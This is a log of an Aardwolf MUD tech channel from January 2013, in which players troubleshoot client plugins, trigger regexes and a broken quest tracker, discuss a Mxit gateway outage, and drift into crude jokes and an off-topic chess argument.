T3/r7/2013-01-26.txt.gz:{chan ch=tech}Getsuko Tech: okay thanks -- all i see are alt-blah in macro tab
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: MUSHclient, wiki, client guide, macros
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Getsuko Tech: thanks!  I'll check out his site
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Polgana Tech: What does autoscan do?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: where'd ya get it?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Hanslanda Tech: I would expect it sends SCAN every time you moved.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: wherever you got it should have an explanation of it
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Polgana Tech: Its in a script file, but if I just type autoscan it toggles on/off which makes me think its aardwolf specific, but there is no helpfile
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: "in a script file"...where did that script file come from?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ixle Tech: It's client specific Pol
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Polgana Tech: It scans every time you move a room... As stated.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: Hanslanda thinks helpfiles are so overrated.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: man autoscan: AUTOSCAN(1)             User Commands              AUTOSCAN(1)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: NAME      autoscan - Generate a preliminary configure.in
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: You grin evilly.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: anyone uses bast potionquaffer plugin?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Turie Tech: I do!
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: how can i get it working to notice my jades in potionbag?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Gonf Tech: type pquaff help
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Turie Tech: I created a trigger for that.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: ive worked around it, ive put all info there and yet it screams there's none left in the bag
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Turie Tech: Type pots
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: ive typed pots
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: it looks in my bag and there's potions there
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: then it says none in any of it
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Gonf Tech: type pquaff list and what do you have as Mana Description
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i changed pot to power and still come out none pots left in heal/mana
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: why do i see "[string "Trigger: "]:2: attempt to perform arithmetic on a nil value"
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Redryn Tech: some trigger is broken
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: it happens every time i complete a quest, my Sharptracker from opo does it
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Redryn Tech: the string for tier bonus was changed i think
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: ahhh. editing time.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: well, it still reports back but with a minor error with the main qp earned amount, see:
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: Quest completed:32secs 14+a 3tier+2mccp=16qps 3652gold.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: the 14+a is messdup
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Redryn Tech: the "a 3" instead of "3" is probably being added to a table or something
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Redryn Tech: most of these tracker scripts calculate total earned over a period and stuff
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: oh hey, that quest didnt count the +3 tier,your right
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: only counted the 14+2, equaling 16, not 19.   no +3 tier added
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: looks like the message was changed from "I am giving you 3 quest points tier bonus." to "I am giving you a 3 quest points tier bonus."
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: hmmm,ill see if i cant figure out how to edit it,im bad at this tho
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it also means the script is really badly written :P
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: oh awesome, should be able to edit that. thank you, thos lines help alot
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: i did not write it, its from opo
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i never said you did
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Cody rapidly nods twice, in complete agreement.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: i know. i wish i did, would mean i actually know how to write that kind stuff. lol.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: but if he isn't using proper wildcards in his patterns, the triggers are open to abuse
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i wouldn't use that script if it's accepting an "a" into a field that should only be numeric
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: do you know of a mush client plugin for tracking qps/gold/levels and all that jazz.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: bast has one
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cody Tech: ahh there we go,his are written good it seems
T3/r7/2013-01-27.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: anyone using search and destroy plugin? If so, how can I get it to move back on the screen. Its stuck upper corner
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Trachx Tech: xset reset
T3/r7/2013-01-27.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: its not working
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Trachx Tech: try xset reset gui
T3/r7/2013-01-27.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: did that
T3/r7/2013-01-27.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: there thank you :)
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Trachx Tech: it seems last update has broken quest complete message so sharptracker stopped working for tier players
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Trachx Tech: for shose using this plugin: there is addidtional 'a' in tier bonus line: I am also giving you >>a<< 2 quest points tier bonus.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: yup, that was noticed earlier
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: tech -h tier
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Trachx Tech: I should always check history 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: im using winkle's SnD plugin and i forgot how to set channel to so whats the command?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wanted!! Criminals Tech: anyone know how to set variables with mush
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Nao Tech: <variables>  <variable name="VAR1">0</variable></variables>
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wanted!! Criminals Tech: hmmm 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: can anyone tell me why dont the mapper i set up for eb dont wana work on my alt it shows i explored but it dont runto the room'
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Thunderous Norton Tech: you using the portal functions ? if so, are they the same for both chars ?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Jaenelle Tech: also, does the speedwalk run through a level locked area that your alt might not be big enough to handle?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Thunderous Norton Tech: when you say "doesn't work", can you elaborate... error messages, etc
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: not actually error message it just shows where the mob is and room, im using winkle S&D btw
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cornor Cerashor Tech: how can i move the gui from S&D the thing is past my screen and not able to move it lower
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cornor Cerashor Tech: could anyone please tell me how to manage this?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: heya is there a problem with mxit users on aard?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: well yeah, but not one that the tech channel could solve }:>
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Chimeishio snickers softly.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: seriously though, yes, there seems to be an issue with the gateway
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: at least from the fact that "clients" shows 0, and that probably shouldn't be the case
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: so mxit itself is having problems that sucks
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: perhaps Mxit finally did turn off the gateway like they said they were going to do a year ago
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: dunno for sure which side the issue's on...only 1 person could answer that for Aard's side
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: it has usually been on their side, and they had announced way back when that they were going to drop aard support but it never happened...do you know if "nobody got around to it" or if "we changed our mind" back then?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: i remember all that it caused a big stir if they closed the gate then they are a bunch of jerks they get payed when mxit users play
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: nod, the fact that I can't get mxit moola in this country prevents me from connecting to aard from mxit...costs 500 moola per month
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: Why would you want to connect via mxit?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you wouldn't connect via mxit anyway, you've said many times to connect via ssh to a computer running a proper client
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: can come in handy
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: for the same reason that I have aard mushclient and mudlet on my computer
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: despite only playing through tinyfugue
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: and that reason is.. to trouble shoot for others?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: im a mush fan its the best for aard
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: but yeah, it's definitely on mxit's end, I can't even open up the aardwolf section of mxit
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: normally in mxit I can open up the aard part where it then tells me that it's 500 moola...and when I try to click to enter, then it tells me that I can't get moola
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: now, when I touch to go to aard, it says your message could not be delivered.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: thats what every mxit player is getting now i think mxit upgrading something or they closed gate
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Tigernuts looks at RoqueWarrior and goes "Hmmmm."
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: how much bandwidth, connection-time, resources, did mxit mud-users use compared to mxit non-mud users -- may've been an economic decision
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: little difference in the way of resources compared to non-mud users
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: mxit users did, however, smell bad
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: may also 've been a behavioral decision -- mudplayers are not supposed to operate heavy machinery while playing
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: it's a known fact, like most of the basis for left wing manifestos
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: as opposed to the 30 non-MUD adventure games, chess, battle, tixi
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: would you like a game of chess?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: mudplayers are not supposed to jaywalk while looking at a small screen
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: i liked playing from mxit i did a tier on mxit
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: are chess players supposed to jaywalk while looking at a small screen?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: all the games I mentioned were part of mxit
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: did you know that "not liking social media" is considered a mental illness?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: and mxit exists on PC as well as phone
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: bandwidth is really cheap, at least in the amounts needed for a text based game
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: decent chess players calculate their moves mentally -- with brief looks at the screen
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: no they don't
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: then I am mentally ill, TN
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: you me both, sir
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: go to a high-level chess match, pay attention to where they're looking
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: did you know that distrust of government is also considered a mental illness?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: if a chessplayer is unable to play blindfold chess, they likely won't reach Grandmaster (but there may be exceptions (merely so i am not as right))
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: Chess-computers may be killing international Chess, unless they accept that some players are going to use chess-computers while playing
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: you're not "as right"...you're fully wrong
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: embrace the "cheating" -- may improve the game
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: again, watch a high-level chess match...they're not spending their time staring into space, looking around the room, looking into each others eyes, etc.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: so?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mokg Tech: thats what I do on my free time
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: they're concentrating on the board
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: if i were able to play blindfold chess, i'd be a Chess master
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: ranrr: his point was that, unlike other phone-based games, chess would not present an issue with looking at the screen while performing other tasks because "decent chess players calculate their moves mentally -- with brief looks at the screen"
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The River Styx Tech: I think Ranrr's point was, noone cares.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: did anything come of anonymous's latest hacks, or was it more pointless hyperbole by a bunch of wannabe's?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: same as usual, change a webpage, promise stuff
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: while concentrating at the Chessboard in a complex position, the eyes fix on a few vacant square as the eyes glaze (with yet some peripheral viewing) and mentally contemplate mental positions
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: "the eyes fix", yes, which was the thing that you were claiming didn't exist
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tigernuts Tech: chill out folks, the chess was a reference to the movie "War Games", not an invitation for a pointless debate
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: no it wasn't
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: Are you new here? :P
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: wargames was the second chess reference
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish places an X in the top left corner.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: chess was an example I cited which mxit has as an optional game
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: a small screen is not a 3D chessboard -- the (mxit) chessplayer shall also be using *peripheral* vision and thus be more aware on the enviroment
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: as they would with aard
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The River Styx Tech: omg nobody cares, take it to tells.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: your claim was that they might have removed aard as a "safety measure" because people wouldn't watch where they were going while playing
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I just got here. I don't know if I don't care yet.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}The River Styx Tech: you don't, believe me.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: as a recent UK radio personality has just demonstrated (by walking into an icy canal), texting on a phone can make you entirely oblivious to what's around you
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish doesn't believe you.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: despite leaving 30 adventure games, battle, tixi, chess, etc
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Zade Tech: nope, aard-mudding is far more intense and attention-consuming than a chessgame - the eyes are too busy reading to drift to the peripheral
T3/r7/2013-01-27.txt.gz:{chan ch=tech}BobTheGreat Tech: Dude, chess is intense. Can
T3/r7/2013-01-27.txt.gz:{chan ch=tech}BobTheGreat Tech: Dude, chess is intense. Can't deny that.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: I would need way more brainpower to play chess than to play aard. 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: then you have little concept of multitasking...I often watch movies, text, jerk off, etc while playing aard
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: to be honest aard on mxit is a lot harder then on a pc spam kills
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ranrr Tech: Thanks for that image, Abe. :(
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: my pleasure :-)
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Isiro sighs.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Isiro Tech: I didn't need to read that.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: yes you did
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Faeseelie Tech: I think we're all married to Abe now..
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Man... Zade is REALLY boring! 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Faeseelie falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RoqueWarrior Tech: is it best to lube up before doing all that and playing aard abelinc?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: we are?  Sweet!  Thanks for bailing me out of a really bad situation after a really bad night in Vegas, Abe!
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: it's only valid in Utah, though
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Hanslanda Tech: who cares?  The main thing is that I didn't go through with the Vegas one.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: can anyone tell me how to set up bbsh
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: anyone able to help me with blowtorch?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: What do you need help with?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: i wanna use it for aard but i need a display name,host name,and port number
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Bloood Tech: ok wtf is going on, if i type out a speedwalk it works but if i set the speedwalk (copied and pasted) to an alias it says 'sorry bloood you cant do that' ??
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Ontuct Tech: it hates you bloood.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: and you dont know that infornation?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: information*
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: nope
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Bloood Tech: what information
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: how are you connecting to Aard now?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Bloood Tech: mushclient
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Bloood Tech: mobile broadband
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: some aard app i downloaded in the android store 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: the aard app uses blowtorch
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: but I've got the newer blowtorch version
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: and?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Wraiff Tech: if you need the info to setup another client, you should check out the Aardwolf page or wiki.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: and thats the one i dont know how to connect with 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Hmmmmm. What happened to the MCCP quest bonus?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RedRain Tech: was there on my last one 15 min ago
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: MCCP got messed up somehow, type "mccp" is it on?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: was there on my last one 5 min ago
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Am I missing something? http://pastebin.com/cYPMeiPu
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Check your qps before after next quest.  Are you gagging it somehow?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Wait you are gagging it
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: 13+2 does not equal 17 :P
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: You receive 17 bonus quest points from your daily blessing.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mccp qps?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RedRain Tech: yep 2 qp each quest bonus if mccp (bandwidth saving) is on
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RedRain Tech: must have client that does it
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Hmmmmm, I don't think I gag that message... I'll check it.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sure looks like it tho
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Nearly certain.  Based on what your pasted.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Only way math works.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Omg I know, must be my chat capturer.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir raises an eyebrow.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: man, you must be really bad with trigger patterns
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Yeah, I'm trying to move from MUSHclient to Mudlet
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RedRain Tech: or a plugin that summaries your quest stats into a different channel
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Tried to make a trigger that captures also remote socials, but it's overzealous.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Cizra, just use the one in my finger if you are using mushclient.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: No. Mudlet. 
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Well use the concept then :), check for space and right color of the *
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ok, you officially suck at patterns then :P
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Dagnir, care to explain thy offense?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: none given
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: just boggles my mind since rsocials start with *
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Yeah, so I tried to capture everything that starts with *. Turns out it's way too much.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but mccp message does not
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mendaloth Tech: Did you escape the *?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Of course I escaped it.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}RedRain Tech: was it * matching everything... not the actual *
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: And I have no idea what the MCCP line looks like, as it got gagged or something.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, but gagged by what?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you were saying it was the rsocial trigger
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: No clue what exactly got it, but I suppose it must have been that.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: The trigger pattern was this: ^
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: um
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: The trigger pattern was this: ^BACKSLASH*(.*)$
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: try * if that doesn't work for you
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: err, [*]
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Dagnir, I don't want to capture things starting with * anymore. It eats TOO many things.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you never know with some regex implementations
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: And it works well, thanks.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Too well even.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so what's gagging your mccp messages?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and what else starts with an asterisk?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: There's no * in the MCCP bonus message
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: I don't know what's gagging my MCCP message. Despite numerous claims on that, nobody's pasted one here.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: You gain an.extra 2 quest points 'MCCP Bonus'
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: (added the extra . in there)
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: What else starts with asterisk? For example, Lasher's notes.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: Oh, and it ends with a period.  Didn't paste that
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you shouldn't have triggers on when reading notes
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Thanks, Leinei. Thanks, Dagnir. That sounds smart. Will have to get it into a habit to turn triggers off manually.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that would work, but a smart person would use triggers
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Well, notes can contain note-ending trigger material. I don't see how to make this foolproof. Also, I'd need to loop over all triggers except the note-ending one, record their current state, etc...
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't even know how my client is set up to handle notes, but it has been working for many years
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, still surprised that there are no note tags
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Most probably, it ignores them.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Notes can contain note-ending tags, I'd suppose...
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: Can just match on your prompt for a note end.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: My prompt is usually empty :-) I use it for quest notification.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: bleh. can't find my note killing triggers. just a lot of cryptic looking regex i have written over the years
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it awesome when you can't read your own code any more
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: SetOption('enable_triggers', 0) disables triggers
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: and SetOption('enable_triggers', 1) turns them back on
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: Doesn't actually change whether they're set to "on" or "off", so you don't need to loop through and record that
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: That depends on your MUD client, Leinei. I contributed the Aard Note Mode plugin, which uses exactly that.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Leinei Tech: Oh sorry, assumed you were using MUSHclient
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Still, it worked for note _writing_ because it was announced over GMCP. Doesn't work for note reading.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Cizra Tech: Anyway, sleepy-time. Bye.
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Mushambo Tech: Okay, my Windows XP saga continues...I finally just went with formatting the drive and trying to reinstall a fresh version of SP3 ... With two different install discs, I get to 53% and then it says it cannot copy over the file ... Any ideas?
T3/r7/2013-01-27.txt.gz:{chan ch=tech}Superjuicy Tech: I forgot XP existed.
